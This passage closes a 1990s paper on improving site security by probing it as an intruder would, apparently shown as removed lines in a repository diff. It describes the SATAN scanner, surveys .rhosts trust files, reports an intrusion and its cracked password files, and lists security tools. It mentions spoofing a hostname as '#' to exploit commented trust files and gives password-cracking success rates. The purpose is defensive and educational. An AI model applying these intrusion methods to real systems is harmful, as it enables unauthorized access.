paper and our tool -was something on the order of "that sounds pretty dangerous -- I hope -you're not going to give it out to everybody. But you since you can -trust me, may I have a copy of it?" - -We never set out to create a cookbook or toolkit of methods and programs -on how to break into systems -- instead, we saw that these same methods -were being used, every day, against ourselves and against friendly -system administrators. We believe that by propagating information that -normally wasn't available to those outside of the underworld, we can -increase security by raising awareness. Trying to restrict access to -"dangerous" security information has never seemed to be a very effective -method for increasing security; indeed, the opposite appears to be the -case, since the system crackers have shown little reticence to share -their information with each other. - -While it is almost certain that some of the information presented here -is new material to (aspiring) system crackers, and that some will use it -to gain unauthorized entrance onto hosts, the evidence presented even by -our ad hoc tests shows that there is a much larger number of insecure -sites, simply because the system administrators don't know any better -- -they aren't stupid or slow, they simply are unable to spend the very -little free time that they have to explore all of the security issues -that pertain to their systems. Combine that with no easy access to this -sort of information and you have poorly defended systems. We (modestly) -hope that this paper will provide badly-needed data on how systems are -broken into, and further, to explain _why_ certain steps should be taken -to secure a system. Knowing why something is a problem is, in our -opinion, the real key to learning and to making an informed, intelligent -choice as to what security really means for your site. - ----- - -Appendix A: - -SATAN (Security Analysis Tool for Auditing Networks) - -Originally conceived some years ago, SATAN is actually the prototype of -a much larger and more comprehensive vision of a security tool. In its -current incarnation, SATAN remotely probes and reports various bugs and -weaknesses in network services and windowing systems, as well as -detailing as much generally useful information as possible about the -target(s). It then processes the data with a crude filter and what -might be termed an expert system to generate the final security -analysis. While not particularly fast, it is extremely modular and easy -to modify. - -SATAN consists of several sub-programs, each of which is an executable -file (perl, shell, compiled C binary, whatever) that tests a host for a -given potential weakness. Adding further test programs is as simple as -putting an executable into the main directory with the extension ".sat"; -the driver program will automatically execute it. The driver generates -a set of targets (using DNS and a fast version of ping together to get -"live" targets), and then executes each of the programs over each of the -targets. A data filtering/interpreting program then analyzes the -output, and lastly a reporting program digests everything into a more -readable format. - -The entire package, including source code and documentation, will be -made freely available to the public, via anonymous ftp and by posting it -to one of the numerous source code groups on the Usenet. - ----- - -Appendix B: - -An informal survey conducted on about a dozen Internet sites -(educational, military, and commercial, with over 200 hosts and 40000 -accounts) revealed that on the average, close to 10 percent of a site's -accounts had .rhosts files. These files averaged six trusted hosts -each; however, it was not uncommon to have well over one hundred entries -in an account's .rhosts file, and on a few occasions, the number was -over five hundred! (This is not a record one should be proud of -owning.) In addition, _every_ site directly on the internet (one site -was mostly behind a firewall) trusted a user or host at another site -- -thus, the security of the site was not under the system administrators -direct control. The larger sites, with more users and hosts, had a -lower percentage of users with .rhosts files, but the size of .rhosts -files increased, as well as the number of trusted off-site hosts. - -Although it was very difficult to verify how many of the entries were -valid, with such hostnames such as "Makefile", "Message-Id:", and -"^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we -question the wisdom of putting a site's security in the hands of its -users. Many users (especially the ones with larger .rhosts files) -attempted to put shell-style comments in their .rhosts files, which most -UNIX systems attempt to resolve as valid host names. Unfortunately, an -attacker can then use the DNS and NIS hostname spoofing techniques -discussed earlier to set their hostname to "#" and freely log in. This -puts a great many sites at risk (at least one major vendor ships their -systems with comments in their /etc/hosts.equiv files.) - -You might think that these sites were not typical, and, as a matter of -fact, they weren't. Virtually all of the administrators knew a great -deal about security and write security programs for a hobby or -profession, and many of the sites that they worked for did either -security research or created security products. We can only guess at -what a "typical" site might look like. - ----- - -Appendix C: - -After receiving mail from a site that had been broken into from one of -our systems, an investigation was started. In time, we found that the -intruder was working from a list of ".com" (commercial) sites, looking -for hosts with easy-to steal password files. In this case, -"easy-to-steal" referred to sites with a guessable NIS domainname and an -accessible NIS server. Not knowing how far the intruder had gotten, it -looked like a good idea to warn the sites that were in fact vulnerable -to password file theft. Of the 656 hosts in the intruder's hit list, 24 -had easy-to-steal password files -- about one in twenty-five hosts! One -third of these files contained at least one password-less account with -an interactive shell. With a grand total of 1594 password-file entries, -a ten-minute run of a publically-available password cracker (Crack) -revealed more than 50 passwords, using nothing but a low-end Sun -workstation. Another 40 passwords were found within the next 20 -minutes; and a root password was found in just over an hour. The result -after a few days of cracking: five root passwords found, 19 out of 24 -password files (eighty percent) with at least one known password, and -259 of 1594 (one in six) passwords guessed. - ----- - -Appendix D: - -How to get some free security resources on the Internet - -Mailing lists: - -o The CERT (Computer Emergency Response Team) advisory mailing list. -Send e-mail to cert@cert.org, and ask to be placed on their mailing -list. - -o The Phrack newsletter. Send an e-mail message to -phrack@well.sf.ca.us and ask to be added to the list. - -o The Firewalls mailing list. Send the following line to -majordomo@greatcircle.com: - - subscribe firewalls - -o Computer Underground Digest. Send e-mail to -tk0jut2@mvs.cso.niu.edu, asking to be placed on the list. - -Free Software: - -COPS (Computer Oracle and Password System) is available via anonymous -ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+. - -The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, -in pub/security. - -Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28. - -TAMU is a UNIX auditing tool that is part of a larger suite of excellent -tools put out by a group at the Texas A&M University. They can be -gotten via anonymous ftp at net.tamu.edu, in pub/security/TAMU. - -Sources for ftpd and many other network utilities can be found in -ftp.uu.net, in packages/bsd-sources. - -Source for ISS (Internet Security Scanner), a tool that remotely scans -for various network vulnerabilities, is available via anonymous ftp from -ftp.uu.net, in usenet/comp.sources.misc/volume40/iss. - -Securelib is available via anonymous ftp from ftp.uu.net, in -usenet/comp.sources.misc/volume36/securelib. - -The latest version of berkeley sendmail is available via anonymous ftp -from ftp.cs.berkeley.edu, in ucb/sendmail. - -Tripwire, a UNIX filesystem integrity checker+, is available via anonymous -ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire. - ----- - -Bibliography: - -Baldwin, Robert W., Rule Based Analysis of Computer Security, -Massachusetts Institute of Technology, June 1987. - -Bellovin, Steve, Using the Domain Name System for System Break-ins, -1992 (unpublished). - -Massachusetts Institute of Technology, X Window System Protocol, -Version 11, 1990. - -Shimomura, Tsutomu, private communication. - -Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992. - ----- - -Suggested reading: - -Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", -Computer Communication Review 19 (2), 1989; a comment by Stephen -Kent appears in volume 19 (3), 1989. - -Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security", -O'Reilly and Associates, Inc., 1992. - -Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol -Study: Network Information Service", Computer Communication Review -22 (5) 1992. - -Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume -Four, Issue Forty-Three, File 14 of 27. - -Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept -1993. - -Schuba, Christoph, "Addressing Weaknesses in the Domain Name System -Protocal", Purdue University, August 1993. - -Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM -27 (8), 1984. -- cgit v1.2.3